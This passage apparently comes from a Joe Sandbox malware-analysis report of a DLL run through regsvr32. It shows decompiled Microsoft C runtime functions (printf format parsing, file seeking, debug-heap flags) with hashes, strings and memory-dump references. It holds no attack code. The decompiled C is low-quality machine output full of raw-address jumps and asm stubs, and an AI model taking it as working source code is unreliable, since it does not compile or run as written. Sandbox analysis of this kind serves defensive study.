				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dc6b
0x7fef9d3dc77
0x7fef9d3dc7f
0x7fef9d3dc87
0x7fef9d3dc8b
0x7fef9d3dc93
0x7fef9d3dc9b
0x7fef9d3dcb0
0x7fef9d3dcbf
0x7fef9d3dcc9
0x7fef9d3dcd3
0x7fef9d3dcdd
0x7fef9d3dce7
0x7fef9d3dce9
0x7fef9d3dcf2
0x7fef9d3dcf6
0x7fef9d3dcff
0x7fef9d3dd03
0x7fef9d3dd0c
0x7fef9d3dd10
0x7fef9d3dd16
0x7fef9d3dd1e
0x7fef9d3dd27
0x7fef9d3dd3b
0x7fef9d3dd3d
0x7fef9d3dd4a
0x7fef9d3dd53
0x7fef9d3dd5c
0x7fef9d3dd66
0x7fef9d3dd6a
0x7fef9d3dd7f
0x7fef9d3dd88
0x7fef9d3dda0
0x7fef9d3dda2
0x7fef9d3ddaf
0x7fef9d3ddb8
0x7fef9d3ddba
0x7fef9d3ddc2
0x7fef9d3ddd7
0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
_invalid_parameter.LIBCMTD ref: 000007FEF9D3ED4C
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED61
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED82

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
_woutput_s_l, xrefs: 000007FEF9D3DBD6

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-734865713
Opcode ID: d839b4f8492d9702b4695783724771f139c243a43186ab9091008b35e86c7283
Instruction ID: 2534415b6cec3e8c7a7064d8bee2958269565171124d4a2b4bf05b50673a9d36
Opcode Fuzzy Hash: d839b4f8492d9702b4695783724771f139c243a43186ab9091008b35e86c7283
Instruction Fuzzy Hash: 4C411CB2A0C6C18AE3B0CB64E8447BEB7E0F384345F600125E6D987AA8DB7DD444CF14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DC41 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 28%

			E000007FE7FEF9D3DC41(intOrPtr _a76, signed int _a80, signed int _a88, signed int _a92, signed int _a108, signed int _a112, intOrPtr _a116, char _a1200, signed int _a1208, intOrPtr _a1216, signed int _a1404, signed int _a1408, signed int _a1412, intOrPtr _a1536, signed short* _a1544, char _a1560) {
				void* _t190;
				char* _t210;
				char* _t211;

				_a76 = 1;
				E000007FE7FEF9D3EE40(_a1208 & 0x0000ffff, _a1536,  &_a1200);
				_a112 = 0;
				_a108 = _a112;
				_a88 = _a108;
				_a92 = _a88;
				_a80 = 0;
				_a116 = 0xffffffff;
				_a76 = 0;
				_a1404 = _a1208 & 0x0000ffff;
				if (_a1404 == 0x20) goto 0xf9d3dd05;
				if (_a1404 == 0x23) goto 0xf9d3dd12;
				if (_a1404 == 0x2b) goto 0xf9d3dcf8;
				if (_a1404 == 0x2d) goto 0xf9d3dceb;
				if (_a1404 == 0x30) goto 0xf9d3dd20;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000004;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000001;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000002;
				goto 0xf9d3dd2b;
				asm("bts eax, 0x7");
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000008;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3dd6c;
				_t210 =  &_a1560;
				_a88 = E000007FE7FEF9D31E40(_t210);
				if (_a88 >= 0) goto 0xf9d3dd6a;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3dd83;
				_a88 = _t190 + _t210 - 0x30;
				_a116 = 0;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3ddc4;
				_t211 =  &_a1560;
				_a116 = E000007FE7FEF9D31E40(_t211);
				if (_a116 >= 0) goto 0xf9d3ddc2;
				_a116 = 0xffffffff;
				goto 0xf9d3dddb;
				_a116 = _t190 + _t211 - 0x30;
				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dc41
0x7fef9d3dc61
0x7fef9d3dc6b
0x7fef9d3dc77
0x7fef9d3dc7f
0x7fef9d3dc87
0x7fef9d3dc8b
0x7fef9d3dc93
0x7fef9d3dc9b
0x7fef9d3dcb0
0x7fef9d3dcbf
0x7fef9d3dcc9
0x7fef9d3dcd3
0x7fef9d3dcdd
0x7fef9d3dce7
0x7fef9d3dce9
0x7fef9d3dcf2
0x7fef9d3dcf6
0x7fef9d3dcff
0x7fef9d3dd03
0x7fef9d3dd0c
0x7fef9d3dd10
0x7fef9d3dd16
0x7fef9d3dd1e
0x7fef9d3dd27
0x7fef9d3dd3b
0x7fef9d3dd3d
0x7fef9d3dd4a
0x7fef9d3dd53
0x7fef9d3dd5c
0x7fef9d3dd66
0x7fef9d3dd6a
0x7fef9d3dd7f
0x7fef9d3dd88
0x7fef9d3dda0
0x7fef9d3dda2
0x7fef9d3ddaf
0x7fef9d3ddb8
0x7fef9d3ddba
0x7fef9d3ddc2
0x7fef9d3ddd7
0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
_invalid_parameter.LIBCMTD ref: 000007FEF9D3ED4C
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED61
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED82

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
_woutput_s_l, xrefs: 000007FEF9D3DBD6

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-734865713
Opcode ID: 00c8469e1271fc8907031e5201d4ef955f45b92ddfc689a069c686c98e5ea265
Instruction ID: 4e41d9db2091814ce308bd8b3badba688d1355b6a5e36393cab3bd2279fd69d5
Opcode Fuzzy Hash: 00c8469e1271fc8907031e5201d4ef955f45b92ddfc689a069c686c98e5ea265
Instruction Fuzzy Hash: 01412AB2A0C6C286E7F09B64E8407BEB2E4F384346F600126D6CD876A9DB3ED444CF14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BDDA Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 80
COMMON

Download Yara Rule

C-Code - Quality: 24%

			E000007FE7FEF9D3BDDA(signed int _a80, intOrPtr _a116, signed int _a696, intOrPtr _a704, char _a972, signed int _a976, void* _a1096, char _a1112) {
				void* _t114;
				char* _t134;

				_a116 = 0;
				if (_a696 != 0x2a) goto 0xf9d3be16;
				_t134 =  &_a1112;
				_a116 = E000007FE7FEF9D31E40(_t134);
				if (_a116 >= 0) goto 0xf9d3be14;
				_a116 = 0xffffffff;
				goto 0xf9d3be2d;
				_a116 = _t114 + _t134 - 0x30;
				_a972 = _a696 & 0x000000ff;
				if (_a972 == 0x49) goto 0xf9d3beb7;
				if (_a972 == 0x68) goto 0xf9d3bfc0;
				if (_a972 == 0x6c) goto 0xf9d3be76;
				if (_a972 == 0x77) goto 0xf9d3bfcd;
				goto 0xf9d3bfd9;
				if ( *_a1096 != 0x6c) goto 0xf9d3bea7;
				_a1096 = _a1096 + 1;
				asm("bts eax, 0xc");
				goto 0xf9d3beb2;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xf");
				if ( *_a1096 != 0x36) goto 0xf9d3bf09;
				if ( *((char*)(_a1096 + 1)) != 0x34) goto 0xf9d3bf09;
				_a1096 = _a1096 + 2;
				asm("bts eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 != 0x33) goto 0xf9d3bf4c;
				if ( *((char*)(_a1096 + 1)) != 0x32) goto 0xf9d3bf4c;
				_a1096 = _a1096 + 2;
				asm("btr eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 == 0x64) goto 0xf9d3bfac;
				if ( *_a1096 == 0x69) goto 0xf9d3bfac;
				if ( *_a1096 == 0x6f) goto 0xf9d3bfac;
				if ( *_a1096 == 0x75) goto 0xf9d3bfac;
				if ( *_a1096 == 0x78) goto 0xf9d3bfac;
				if ( *_a1096 != 0x58) goto 0xf9d3bfae;
				goto 0xf9d3bfbe;
				_a704 = 0;
				goto E000007FE7FEF9D3BB66;
				goto 0xf9d3bfd9;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xb");
				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3bdda
0x7fef9d3bdf2
0x7fef9d3bdf4
0x7fef9d3be01
0x7fef9d3be0a
0x7fef9d3be0c
0x7fef9d3be14
0x7fef9d3be29
0x7fef9d3be3a
0x7fef9d3be49
0x7fef9d3be53
0x7fef9d3be61
0x7fef9d3be6b
0x7fef9d3be71
0x7fef9d3be84
0x7fef9d3be91
0x7fef9d3be9d
0x7fef9d3bea5
0x7fef9d3beae
0x7fef9d3beb2
0x7fef9d3bebb
0x7fef9d3bed1
0x7fef9d3bee2
0x7fef9d3bef0
0x7fef9d3befc
0x7fef9d3bf04
0x7fef9d3bf17
0x7fef9d3bf28
0x7fef9d3bf36
0x7fef9d3bf42
0x7fef9d3bf4a
0x7fef9d3bf5a
0x7fef9d3bf6a
0x7fef9d3bf7a
0x7fef9d3bf8a
0x7fef9d3bf9a
0x7fef9d3bfaa
0x7fef9d3bfac
0x7fef9d3bfae
0x7fef9d3bfb9
0x7fef9d3bfbe
0x7fef9d3bfc7
0x7fef9d3bfcb
0x7fef9d3bfd1
0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E
_invalid_parameter.LIBCMTD ref: 000007FEF9D3CD3E
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3CD53
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3CD74

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
_output_s_l, xrefs: 000007FEF9D3BAFB

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-192189897
Opcode ID: 0dcb35cdac88f8f65d488c6c387acf7a3a87c9c5c0c9a15f6f87c725b9d0fc3a
Instruction ID: 25f4969c447c8d4d660c638a7323c6370fe89c3a0b7b258112d187f79a668fd6
Opcode Fuzzy Hash: 0dcb35cdac88f8f65d488c6c387acf7a3a87c9c5c0c9a15f6f87c725b9d0fc3a
Instruction Fuzzy Hash: ED416E72A0DAC28AE3F0DB24E8547BEB7E4E384345F600126D6DD869A9DB7ED140CF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DD88 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 80
COMMON

Download Yara Rule

C-Code - Quality: 24%

			E000007FE7FEF9D3DD88(signed int _a80, intOrPtr _a116, signed int _a1208, intOrPtr _a1216, signed int _a1408, signed int _a1412, signed short* _a1544, char _a1560) {
				void* _t114;
				char* _t134;

				_a116 = 0;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3ddc4;
				_t134 =  &_a1560;
				_a116 = E000007FE7FEF9D31E40(_t134);
				if (_a116 >= 0) goto 0xf9d3ddc2;
				_a116 = 0xffffffff;
				goto 0xf9d3dddb;
				_a116 = _t114 + _t134 - 0x30;
				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dd88
0x7fef9d3dda0
0x7fef9d3dda2
0x7fef9d3ddaf
0x7fef9d3ddb8
0x7fef9d3ddba
0x7fef9d3ddc2
0x7fef9d3ddd7
0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
_invalid_parameter.LIBCMTD ref: 000007FEF9D3ED4C
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED61
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED82

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
_woutput_s_l, xrefs: 000007FEF9D3DBD6

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-734865713
Opcode ID: c688226ec199b2b9f0c59a43de4c80c1eb2ed98f75eb3809899ea6a1a3543fc2
Instruction ID: 6afb929124b84414141dd4680376ccf7afecd9c4b7d6d92296aea7179b7f5a27
Opcode Fuzzy Hash: c688226ec199b2b9f0c59a43de4c80c1eb2ed98f75eb3809899ea6a1a3543fc2
Instruction Fuzzy Hash: 024109A2A0C6C286E7F09B64E8447BEB6E4F394346F600126D6CD876A5DB3ED444DF14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D39520 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 000007FEF9D3F900: __doserrno.LIBCMTD ref: 000007FEF9D3F913

SetFilePointer.KERNEL32 ref: 000007FEF9D395B0
GetLastError.KERNEL32 ref: 000007FEF9D395C1
_dosmaperr.LIBCMTD ref: 000007FEF9D395D6

Strings

("Invalid file descriptor. File possibly closed by a different thread",0), xrefs: 000007FEF9D39563
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\lseeki64.c, xrefs: 000007FEF9D39578

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: ErrorFileLastPointer__doserrno_dosmaperr
String ID: ("Invalid file descriptor. File possibly closed by a different thread",0)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\lseeki64.c
API String ID: 275287319-2412454244
Opcode ID: 9dbe059b54c234531181e61fbc079bb475f6c20a5a1a356ebb7b18ccdd590da7
Instruction ID: f463794f61061979348d28cf0890255f55ae464b61bc66257c006d95a81b41bb
Opcode Fuzzy Hash: 9dbe059b54c234531181e61fbc079bb475f6c20a5a1a356ebb7b18ccdd590da7
Instruction Fuzzy Hash: A8316372A18B85C6D790CB28E88066E77A1F7857A5F604325E6FE47AF9CB3DD441CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D26210 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D262BE
_unlock.LIBCMTD ref: 000007FEF9D26329

Strings

_CrtSetDbgFlag, xrefs: 000007FEF9D262B0
(fNewBits==_CRTDBG_REPORT_FLAG) || ((fNewBits & 0x0ffff & ~(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_DELAY_FREE_MEM_DF | _CRTDBG_CHECK_ALWAY, xrefs: 000007FEF9D2625A, 000007FEF9D262B7
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D2626F, 000007FEF9D262A9

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter_unlock
String ID: (fNewBits==_CRTDBG_REPORT_FLAG) || ((fNewBits & 0x0ffff & ~(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_DELAY_FREE_MEM_DF | _CRTDBG_CHECK_ALWAY$_CrtSetDbgFlag$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c
API String ID: 2816345473-1282596470
Opcode ID: db3a677d4455786e2b88604055b88d75c0eb5ecf603a90f053d8ba1f75c85f5c
Instruction ID: 0c290ab1c852a48438f6a901ce88093280091c3cb9967e086700a94ae8aeefb6
Opcode Fuzzy Hash: db3a677d4455786e2b88604055b88d75c0eb5ecf603a90f053d8ba1f75c85f5c
Instruction Fuzzy Hash: 18313371D1D2428AE3A08B68ED4476E77E0F741364F615236A6CD866F4D77EE4488B00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D40070 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 55COMMONLIBRARYCODE

Download Yara Rule

APIs

